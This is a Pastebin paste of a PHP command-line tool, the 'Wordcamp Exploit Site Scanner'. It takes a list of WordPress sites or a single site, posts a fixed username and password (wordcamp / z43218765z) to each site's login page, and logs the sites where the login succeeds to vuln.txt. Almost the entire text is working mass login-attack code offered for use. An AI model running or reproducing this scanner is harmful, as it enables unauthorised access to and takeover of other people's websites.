Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- define("author","\e[92m");
- define("chose","\e[94m");
- define("chose2","\e[33m");
- define("red","\e[31m");
- class Scan{
- public function Save($save,$name){
- $result = fopen($name, "a+");
- fwrite($result, "$save\n");
- fclose($result);
- }
- public function exploit($url){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url."/wp-login.php");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 OPR/49.0.2725.47");
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
- curl_setopt($ch, CURLOPT_POSTFIELDS, "log=wordcamp&pwd=z43218765z&wp-submit=LogIn&redirect_to=$url/wp-admin/");
- curl_setopt($ch, CURLOPT_POST, 1);
- $exe = curl_exec($ch);
- $info = curl_getinfo($ch, CURLINFO_HTTP_CODE);
- curl_close($ch);
- return $info;
- }
- public function login($url){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url."/wp-login.php");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
- $exe = curl_exec($ch);
- $info = curl_getinfo($ch, CURLINFO_HTTP_CODE);
- curl_close($ch);
- return $info;
- }
- public function Site($site){
- if(!preg_match('#^http(s)?://#',$site)){
- $web = "https://".$site;
- }
- else {
- $web = $site;
- }
- if ($this->login($web) == 200) {
- if ($this->exploit($web) == 302) {
- echo author."Vuln : $site/wp-login.php\n";
- $this->Save($web, "vuln.txt");
- }
- else {
- echo red."Not Vuln : $web\n";
- }
- }
- else {
- echo red."Not Vuln : $web\n";
- }
- }
- public function Chose(){
- echo author."\n[#] Author ./EcchiExploit [#]\n";
- echo author."[$] Wordcamp Exploit Site Scanner [$]\n\n";
- echo chose."\t\t1. Mass Scan\n";
- echo chose2."\t\t2. Not Mass Scan\n";
- $chose = readline("Chose : ");
- switch ($chose) {
- case 1:
- $list = readline("List Site : ");
- if(!file_exists($list)) die("File List ".$list." Not Found");
- $domain = explode("\n", file_get_contents($list));
- foreach ($domain as $web) {
- $this->Site($web);
- }
- break;
- case 2:
- $url = readline("Your Site (example.com) : ");
- $this->Site($url);
- break;
- default:
- echo "Fuck You!!\n";
- break;
- }
- $this->Again();
- }
- public function Again(){
- $return = readline("Again?? (y/n) : ");
- if ($return == "y" || $return == "Y") {
- $this->Chose();
- }
- else {
- echo "Thanks!!";
- }
- }
- }
- $test = new Scan();
- $test->Chose();
- ?>
Add Comment
Please, Sign In to add comment